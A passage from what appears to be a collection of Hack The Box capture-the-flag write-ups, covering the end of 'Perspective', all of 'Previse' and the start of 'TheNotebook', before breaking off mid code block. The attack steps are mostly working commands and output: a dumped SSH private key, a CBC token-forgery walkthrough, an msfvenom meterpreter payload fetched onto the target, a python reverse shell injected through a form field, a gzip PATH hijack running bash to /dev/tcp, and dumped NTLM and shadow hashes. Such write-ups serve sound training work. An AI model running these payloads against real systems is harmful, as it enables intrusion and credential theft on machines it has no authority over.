TCP    0.0.0.0:8009           0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       460
TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1032
TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1304
TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       596
TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       604
TCP    10.10.11.151:139       0.0.0.0:0              LISTENING       4
TCP    10.10.11.151:49693     10.10.14.10:1234       ESTABLISHED     3888
TCP    [::]:22                [::]:0                 LISTENING       2212
TCP    [::]:80                [::]:0                 LISTENING       4
TCP    [::]:135               [::]:0                 LISTENING       848
TCP    [::]:445               [::]:0                 LISTENING       4
TCP    [::]:5985              [::]:0                 LISTENING       4
TCP    [::]:8000              [::]:0                 LISTENING       4
TCP    [::]:8009              [::]:0                 LISTENING       4
TCP    [::]:47001             [::]:0                 LISTENING       4
TCP    [::]:49664             [::]:0                 LISTENING       460
TCP    [::]:49665             [::]:0                 LISTENING       1032
TCP    [::]:49666             [::]:0                 LISTENING       1304
TCP    [::]:49667             [::]:0                 LISTENING       596
TCP    [::]:49668             [::]:0                 LISTENING       604
UDP    0.0.0.0:123            *:*                                    2408
UDP    0.0.0.0:5353           *:*                                    1368
UDP    0.0.0.0:5355           *:*                                    1368
UDP    10.10.11.151:137       *:*                                    4
UDP    10.10.11.151:138       *:*                                    4
UDP    127.0.0.1:65362        *:*                                    2700
UDP    [::]:123               *:*                                    2408
UDP    [::]:5353              *:*                                    1368
UDP    [::]:5355              *:*                                    1368
```

thers's a ssh key, we grab it

``` bash
PS C:\users\webuser> cat .ssh/id_rsa
cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzfoQwqu9tIYiy694HbGmT+qw2b+kUTnEcqEOEXv5+vLcVqZ2
APlHTSDj4rSzv+tJoHQiRf3IyVpNNqGw8+wM+P3wdozY66BUPHqz6FpRHxcMT2Ss
Nk9J9hxTi2L3oBVR83F0abBWnOClOqjrd8SMVRcyCi1/svSdOP8OPh9s+mpa5TG2
KEiI66whlBKKC1N2szF4rQNtkCGUw66zheHSxK5j6axjiP0sstC6hUJy2uqu3DXK
0dOtwMUk5EOpkFPTZxlIzgbUI/CcQ8ipaankvrHrh8x8DKdv9KspzKhLflS5Ayie
3PyFQ5lg9TCLk4dzyeB8YkBkBEXUbCePvNBFRwIDAQABAoIBAFwtqeyE0TwFv3Kq
DzYyt3wSSpzYD+At2wV1oAchFWlB4GuCyVJ8PHV+350oQz0DPgrpjiEGhyHdIKrv
R3KR0+hmNIPJWpZwROJgAz1blew081RgeFVBvJbAbH73hlwEzo0E3BUkTk6cljUf
PWl281ptK/60B+79W5MTSbtxcuLJgcvB/REYU3GPUK/dTSVU7IMV2hBrFP6srlqT
aGZ2ugm6xNV14Iq0KOpuHfYXXSdkklOt+eSZ8AWTQTkZtSfLJUybOaLYStOGn35S
IupwD4kxZbAtX54Avdi8rq61H4TIrM82B2+UpPkdd2P6am822mlQa4lVrnJCbq88
z6Xv6ckCgYEA9+lwddycXp0A4WlhmIu5A1440uZELhAfeRlBQVpeqlF0Ig2XjUyb
WhEu+lMlEfbsiWK/rfIp53uuBkstXc2ImKfhSbys8KMkJKq6Fp+OjbbFYSIS9mSP
f91W658OtfoNG/UHPp74f6/mogsbKpNP0nPDnjFBQLMuL2pYO/Q7p2sCgYEA1LJi
bPM/rpbzyGjJSYd50xNP1ftaUyZwRWCWAgAWLXKVVbuNdPNy6GvjyaNkJcPz3dh+
zSsLZeSyyVWUvFQslkkZaMvWZVDdwh9x8i3N/NhhTbqVTyBBqWTyk0l0WJVcHtUb
q6kSIYucmw/zH9qlpfYHvMWZN2kSHq+kwlMAfJUCgYBmTSpfOJ4+XMOUQQxJCr9a
KHOCdAsGhxi1vDo1YblWxy4JL1qusEIbNKQSIGVXuHF7cAhxG1E3eM4jQrqBzuLj
O8O3zef/lRLBHsKTu1v0Fsv0fT8d9flRZmEL8iL77SejtcU7jhY1erzNeY/ITenO
in7atLCcplQUtOmcM/i56QKBgQDRjiMNBqfSYqUy6ZKPoCt1u4wn3eoDDFcG8383
30/6XO8mtY9MD2NB/LJDgnh0ANiu1NMxXtxu+mDvniLZXfFD7CddqZ7E2WRzEroY
Cert114ez9q1R6mJtIyOcotvj1BgjEQj34KejEeyOoel9azIk1rSMLig8CNLGnAw
iMhs9QKBgQC6pv2GxsrQmUEPiE0vorFtMulMi7vRYe7kfgsohE8grqKzsveLQJok
R+67L9QcuLwo2OWng2d2oEFkx9dx++ewEluo8ZjcOx3TVDIIZDUw4KdD0Q/josqp
RhZbZ6EF094JTnINnexb9OhQMwQJHAhp63o5dH6fFXSTUpW10u+mkA==
-----END RSA PRIVATE KEY-----
```

then ssh into it, and ssh port forward 8009

``` bash
ssh -i id_rsa webuser@perspective.htb -L 8009:127.0.0.1:8009
```

seems like the same web page again......

 - [Cipher block chaining (CBC)](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_block_chaining_(CBC))

The token can be manipulated. (password reset) First 16 bytes are the IV. During decryption the IV is used to XOR the intermediate value. You know the plaintext to xor.

extend the hidden email with spaces (+) and make it more than 16 chars (else the padding won't match). The first 16 bytes can then be manipulated : Change the IV for that : example (IV) XOR (6140612e616120202020202020202020) XOR (6140612e6161265C785C782e62617420) = new IV.

exchanged the first 16 bytes (IV) with the new value and encode it again

The first 16 bytes are xored with the IV value in the last step of decryption

Looking at the code (dnspy perspective.dll) you notice that the first 16 bytes of the token is the IV

On another part you see that the base64 is url encoded - -> + and _ -> /

With that you can base64 decode the token and change is to hex values

example:

``` bash
echo -n LuZov1TP8rYJyxm9PsaBUhxD2IqfaWQSd437ihbkpv8uqT6mpYefQSbtQV4fXCvn|base64 -d| xxd -p| tr -d "\n"
```

I use a@a.aa as email to get more space for the instructions

via a shell on the host I create a dir x in the root

1. Create a account.
2. Go to forget password page.
3. Fill the three questions.
4. And intersept the request.

We will modify the EmailHidden, we will add a 16 bits padding. So our value will be equal to

``` bash
POST /Account/Forgot HTTP/1.1
Host: 127.0.0.1:8009
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
Origin: http://127.0.0.1:8009
Connection: close
Referer: http://127.0.0.1:8009/Account/Forgot
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1


__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTE4MzYyMzczM2RkzVUo80CcMuBVaq44smuBxJgAzn8%3D&__VIEWSTATEGENERATOR=B97FD74E&ctl00%24MainContent%24EmailHidden=a%40a.aa++++++++++&ctl00%24MainContent%24QuestionResponse1=luci&ctl00%24MainContent%24QuestionResponse2=luci&ctl00%24MainContent%24QuestionResponse3=luci&ctl00%24MainContent%24ctl01=Initiate+Reset
```

Now don't forward this request, copy the token and replace it in this Recipe.

``` bash
https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple%20string','string':'_'%7D,'/',true,false,true,false)Find_/_Replace(%7B'option':'Simple%20string','string':'-'%7D,'%2B',true,false,true,false)From_Base64('A-Za-z0-9%2B/%3D',true)To_Hex('None',0)&input=eHhBWWZDaTlnTHBCU2ZxQS0tYnBESVppYXdXeTJWblpkSXhteHYzTTV4MTN6NFpydkFSeTVFYy10Ym5yMmdPVw

output:
c710187c28bd80ba4149fa80fbe6e90c86626b05b2d959d9748c66c6fdcce71d77cf866bbc0472e4473eb5b9ebda0396
```

We will replace the token.

``` bash
GET /Account/forgot.aspx?token=xxAYfCi9gLpBSfqA--bpDIZiawWy2VnZdIxmxv3M5x13z4ZrvARy5Ec-tbnr2gOW HTTP/1.1
Host: 127.0.0.1:8009
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8009/Account/Forgot
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

This will generate a decimal form.

Now we create our shell. Go to the root dir, and create a new dir x. Download a shell and rename it to .exe.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/perspective]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.18 LPORT=1234 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
```

``` bash
webuser@PERSPECTIVE C:\>mkdir x

webuser@PERSPECTIVE C:\>cd x

webuser@PERSPECTIVE C:\x>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\x> Invoke-WebRequest -URi 10.10.14.18/shell.exe -O x.exe 
PS C:\x> ls 


    Directory: C:\x


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/10/2022   4:11 PM          73802 x.exe
```

Now copy the first 16 bytes, means 32 chars of the decimal token.

``` bash
>>> data = "c710187c28bd80ba4149fa80fbe6e90c86626b05b2d959d9748c66c6fdcce71d77cf866bbc0472e4473eb5b9ebda0396"
>>> data[:32]
'c710187c28bd80ba4149fa80fbe6e90c'
```

and replace in this Recipe

``` bash
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'6140612e616120202020202020202020'%7D,'Standard',false)XOR(%7B'option':'Hex','string':'6140612e6161265c785c782e65786520'%7D,'Standard',false)To_Hex('None',0)&input=YzcxMDE4N2MyOGJkODBiYTQxNDlmYTgwZmJlNmU5MGM

output:
c710187c28bd86c61935a28ebebeac0c
```

Copy the output value ot the recipe. And replace with the orginal token.

Final decimal token ⇒

``` bash
>>> data[32:]
'86626b05b2d959d9748c66c6fdcce71d77cf866bbc0472e4473eb5b9ebda0396'
>>> "c710187c28bd86c61935a28ebebeac0c" + "86626b05b2d959d9748c66c6fdcce71d77cf866bbc0472e4473eb5b9ebda0396"
'c710187c28bd86c61935a28ebebeac0c86626b05b2d959d9748c66c6fdcce71d77cf866bbc0472e4473eb5b9ebda0396'
```

Now reverse the 1st recipe

``` bash
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')To_Base64('A-Za-z0-9%2B/%3D')Find_/_Replace(%7B'option':'Simple%20string','string':'%2B'%7D,'-',true,false,true,false)Find_/_Replace(%7B'option':'Simple%20string','string':'/'%7D,'_',true,false,true,false)&input=YzcxMDE4N2MyOGJkODZjNjE5MzVhMjhlYmViZWFjMGM4NjYyNmIwNWIyZDk1OWQ5NzQ4YzY2YzZmZGNjZTcxZDc3Y2Y4NjZiYmMwNDcyZTQ0NzNlYjViOWViZGEwMzk2

output:
xxAYfCi9hsYZNaKOvr6sDIZiawWy2VnZdIxmxv3M5x13z4ZrvARy5Ec-tbnr2gOW
```

We will replace at the burp intersept option.

Forward the request. And we will redirected to change password, start a msf listener. And change password.

``` bash
meterpreter > getuid
Server username: PERSPECTIVE\Administrator
meterpreter > shell
Process 5076 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.2686]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>cd \users\administrator\desktop
cd \users\administrator\desktop

c:\Users\Administrator\Desktop>type root.txt
type root.txt
198a44dba3d48009eda6b02834a9e3b5


meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 815d39bbbbcdd512ce0eadebd02f6229...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:3ebc094377ee665f31a78f536ba4f1af:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7cd9849be63b88b3f4e910cdae120f3d:::
sqladmin:1001:aad3b435b51404eeaad3b435b51404ee:17e1ecc085fb5fd49810495ca173052e:::
dbuser:1003:aad3b435b51404eeaad3b435b51404ee:ffdd348640d3215cfe351d5cf928cb93:::
webuser:1004:aad3b435b51404eeaad3b435b51404ee:9c101375df857fad5e6bec682ffa4187:::
sshd:1005:aad3b435b51404eeaad3b435b51404ee:4edb911b4f987283a91a175c6d4445bb:::


meterpreter > sysinfo
Computer        : PERSPECTIVE
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : HTB
Logged On Users : 4
Meterpreter     : x86/windows
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2222.jpg)

And we get a shell. and dump the hash

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2223.jpg)

all done now

#### Summary of knowledge

 - black box web testing
 - xss bypass and read file
 - viewstateuserkey decrypt
 - Exploiting __VIEWSTATE knowing the secret to get shell
 - Cipher block chaining (CBC) to get root shell

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end Perspective -->

</details>

<a id="case-previse"></a>

## 响应跳转与真实服务端授权

302 页面仍返回了可操作内容，原记录利用请求与响应差异进入账户功能。日志参数的命令拼接、哈希和 gzip 执行路径继续保留。

<p class="kb-provenance">来源 previse · 原记录 2021-08-08 · 18 个代码块 · 9 处图片引用</p>

<details class="kb-evidence" id="record-previse">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start previse -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	07 Aug 2021
IP:	10.10.11.104

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2067.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### Nmap

``` bash
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
```

#### ffuf

``` bash
index.php [Status: 302, Size: 2801, Words: 737, Lines: 72]
login.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
download.php [Status: 302, Size: 0, Words: 1, Lines: 1]
footer.php [Status: 200, Size: 217, Words: 10, Lines: 6]
header.php [Status: 200, Size: 980, Words: 183, Lines: 21]
favicon.ico [Status: 200, Size: 15406, Words: 15, Lines: 10]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1]
. [Status: 302, Size: 2801, Words: 737, Lines: 72]
status.php [Status: 302, Size: 2966, Words: 749, Lines: 75]
nav.php [Status: 200, Size: 1248, Words: 462, Lines: 32]
accounts.php [Status: 302, Size: 3994, Words: 1096, Lines: 94]
files.php [Status: 302, Size: 4914, Words: 1531, Lines: 113]
```

#### curl

``` bash
curl http://10.10.11.104/files.php
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2068.jpg)

So it seems we can access parts of the site with a fwe tricks. Testing further showed I can capture the request from nav.php and then change the response from a 302 to 200 to access the account page.

Clicking on Do Intercept > Response to this request.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2069.jpg)

Change the 302 to 200

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2070.jpg)

Create a new user and use the same tatics for capturing the request and editing the response.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2071.jpg)

Then login with the new account.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2072.jpg)

#### Files

 - config.php

``` bash
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
```

 - logs.php

``` bash
┌──(root💀kali)-[~/hackthebox/machine/previse/siteBackup]
└─# ls
accounts.php  download.php   files.php   header.php  login.php   logs.php  status.php
config.php    file_logs.php  footer.php  index.php   logout.php  nav.php
┌──(root💀kali)-[~/hackthebox/machine/previse/siteBackup]
└─# cat logs.php
<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>
```

In logs.php we can see the developer had to use python instead of PHP for the delimiters for ease of use and this also looks vunerable to command injection.

#### User

Reverse shell.

To get a reverse shell. Login as your new user, goto the Management menu > logs. Capture the request in burp and add a python reverse shell to the delim attribute.

``` bash
POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://10.10.11.104
Connection: close
Referer: http://10.10.11.104/file_logs.php
Cookie: PHPSESSID=1ef4dj4rj6qthba48f58r5d3va
Upgrade-Insecure-Requests: 1



delim=comma;python3+-c+'import+os,pty,socket%3bs%3dsocket.socket()%3bs.connect(("10.10.14.31",9999))%3b[os.dup2(s.fileno(),f)for+f+in(0,1,2)]%3bpty.spawn("/bin/bash")'
```

Have your netcat listner ready!

``` bash
┌──(root💀kali)-[~]
└─# rlwrap -cAr nc -lnvp 9999
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.11.104.
Ncat: Connection from 10.10.11.104:58472.
id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
whoami
www-data
```

#### mysql

Let's get any info and hash's from the database.

``` bash
mysql -u root -p
pass:mySQL_p@ssw0rd!:)

show databases;
use previse;
show tables;

select * from accounts;
```

``` bash
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | omwsec   | $1$🧂llol$SvtRsZqR3Wg4M1IAk.glQ. | 2021-08-08 07:09:48 |
|  3 | hello    | $1$🧂llol$6gzMmYsDY2EBz35vH5gST. | 2021-08-08 07:10:42 |
|  4 | admin1   | $1$🧂llol$UQb0RhzDERebjcLHQXEim. | 2021-08-08 14:12:25 |
+----+----------+------------------------------------+---------------------+
4 rows in set (0.00 sec)
```

#### Cracking the hash

 - hashcat

``` bash
hashcat64.exe -a 0 -m 500 password.txt rockyou.txt
```

now got the passwords...

``` bash
D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -a 0 -m 500 password.txt rockyou.txt --show
$1$馃llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
$1$馃llol$UQb0RhzDERebjcLHQXEim.:admin1
$1$馃llol$6gzMmYsDY2EBz35vH5gST.:hello
```

 - john

``` bash
john -format=md5crypt-long --wordlist==/usr/share/wordlists/rockyou.txt hash.txt
```

``` bash
m4lwhere:ilovecody112235!
```

Time to SSH into the box for a better shell.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/previse]
└─# ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Aug  8 14:40:53 UTC 2021

  System load:  0.0               Processes:           174
  Usage of /:   49.3% of 4.85GB   Users logged in:     0
  Memory usage: 29%               IP address for eth0: 10.10.11.104
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Aug  8 12:54:42 2021 from 10.10.14.31
m4lwhere@previse:~$ id
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)
m4lwhere@previse:~$ \whoami
m4lwhere
m4lwhere@previse:~$ cat user.txt 
a8d88d4c17d4b65e6875b1f9ef2aee31
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2073.jpg)

#### Root

``` bash
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
```

Let's try some path abuse for gzip.

nano gzip

``` bash
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.31/2234 0>&1
```

``` bash
m4lwhere@previse:/tmp$ chmod +x gzip
m4lwhere@previse:/tmp$ export PATH=$(pwd):$PATH
m4lwhere@previse:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh
```

and we get a rev shell

``` bash
┌──(root💀kali)-[~/hackthebox/machine/previse]
└─# nc -lvp 2234                                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::2234
Ncat: Listening on 0.0.0.0:2234
Ncat: Connection from 10.10.11.104.
Ncat: Connection from 10.10.11.104:37304.
root@previse:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@previse:/tmp# whoami
whoami
root
root@previse:/tmp# cd /root
cd /root
root@previse:/root# cat root.txt
cat root.txt
5b0c3562a1e4ab347a5445ec95ffaedf
root@previse:/root# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$QJgW9tG2$yIhp0MQm9b4ok8j9su9H0hJ.GuwI5AHusMrZBQv2oLfvotY5YR0MJ82zJ4xi5WCKQSWn/a3HO/M/TjS/YC0Mk1:18824:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2074.jpg)

#### Summary of knowledge

 - create user by change responese code status
 - get Reverse shell by php command injection
 - Cracking the hash with hashcat
 - privesc with gzip

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end previse -->

</details>

<a id="case-thenotebook"></a>

## JWT 的签名密钥来源与管理员声明

原环境同时信任可控密钥地址与角色声明，上传和备份文件连接用户。Docker/runc 的 CVE-2019-5736 分支完整保留。

<p class="kb-provenance">来源 TheNotebook · 原记录 2021-03-09 · 26 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-thenotebook">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start TheNotebook -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	06 Mar 2021
IP:	10.10.10.230

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb197.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/thenotebook]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.230
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### webpage

egister, write notes, and it will assign a uuid and a cookie

request pkg:

``` bash
POST /a22c35fe-ccb9-4128-971a-0f96e2b9108d/notes/add HTTP/1.1

Host: 10.10.10.230

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 20

Origin: http://10.10.10.230

Connection: close

Referer: http://10.10.10.230/a22c35fe-ccb9-4128-971a-0f96e2b9108d/notes/add

Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6Imx1Y2lmZXIxMSIsImVtYWlsIjoiMTE4NTE1MTg2N0BxcS5jb20iLCJhZG1pbl9jYXAiOjB9.i2HuA6-7YK2MniK6nuBOrwxvGRgJf0cZkUif2bNYN77BSZBkuqOducOZI-BuAGPZKrLelZhecaZxVW1OtsaTuM0-fyz48ar5I34K78FDazAtgWbuIb8atjZQG2Vo3OAFO4gv4Jlys5Vl8V7XZSgdW_DrJt8pSL0nSajDAG5dQCwlv0phweF19KifvADNQGlo_woN7QsK25lsp8LQIUdVn2jj0q7B0V1h7gLu7lIs1r9YhZrpmMG-Q0cnCscnN6o-IwnwP4h4SjHEQWBLPuhbCw9yodvJhzKo_hqIGASha98NjXgt43ruBaPSCPlJEaLNnfilQbC9jkLjiEQyifQmh62VptzBLVrgaUwKcxBkalJdyt8UUCw_77dTMXr202QsS-05wFkWVd_03yKgQFNL2whlIwKa_F5jyclxRa8SWJ3CQrM0PMhLPPzhp4XKvGGo00OJjLHodwV0EEVq1VrunsnFEkp-yg81Ms0z8_fejSWCoqdVaThf6uuK-_XpvS49pV8tnkvUa3U4slnJqhk2LaUuW3CGGGXTRvbEw1CVQPcrK64tIZzzVm7iT05sybOUBJIQGVcYsWbGfrvwitPBxrKXTlFpau5cxv9M5MkfjcDMl5qh0-xUAcH4qv5TO18BFRVvNosbmdPkIyibbBhSMTTd_ZRJlZyvBHP1LItD6lg; uuid=a22c35fe-ccb9-4128-971a-0f96e2b9108d

Upgrade-Insecure-Requests: 1



title=test&note=test
```

uuid:

``` bash
a22c35fe-ccb9-4128-971a-0f96e2b9108d
```

cookie:

``` bash
auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6Imx1Y2lmZXIxMSIsImVtYWlsIjoiMTE4NTE1MTg2N0BxcS5jb20iLCJhZG1pbl9jYXAiOjB9.i2HuA6-7YK2MniK6nuBOrwxvGRgJf0cZkUif2bNYN77BSZBkuqOducOZI-BuAGPZKrLelZhecaZxVW1OtsaTuM0-fyz48ar5I34K78FDazAtgWbuIb8atjZQG2Vo3OAFO4gv4Jlys5Vl8V7XZSgdW_DrJt8pSL0nSajDAG5dQCwlv0phweF19KifvADNQGlo_woN7QsK25lsp8LQIUdVn2jj0q7B0V1h7gLu7lIs1r9YhZrpmMG-Q0cnCscnN6o-IwnwP4h4SjHEQWBLPuhbCw9yodvJhzKo_hqIGASha98NjXgt43ruBaPSCPlJEaLNnfilQbC9jkLjiEQyifQmh62VptzBLVrgaUwKcxBkalJdyt8UUCw_77dTMXr202QsS-05wFkWVd_03yKgQFNL2whlIwKa_F5jyclxRa8SWJ3CQrM0PMhLPPzhp4XKvGGo00OJjLHodwV0EEVq1VrunsnFEkp-yg81Ms0z8_fejSWCoqdVaThf6uuK-_XpvS49pV8tnkvUa3U4slnJqhk2LaUuW3CGGGXTRvbEw1CVQPcrK64tIZzzVm7iT05sybOUBJIQGVcYsWbGfrvwitPBxrKXTlFpau5cxv9M5MkfjcDMl5qh0-xUAcH4qv5TO18BFRVvNosbmdPkIyibbBhSMTTd_ZRJlZyvBHP1LItD6lg;
```

looking up about auth cookie I found jwt, lets see that too, what that is.

``` bash
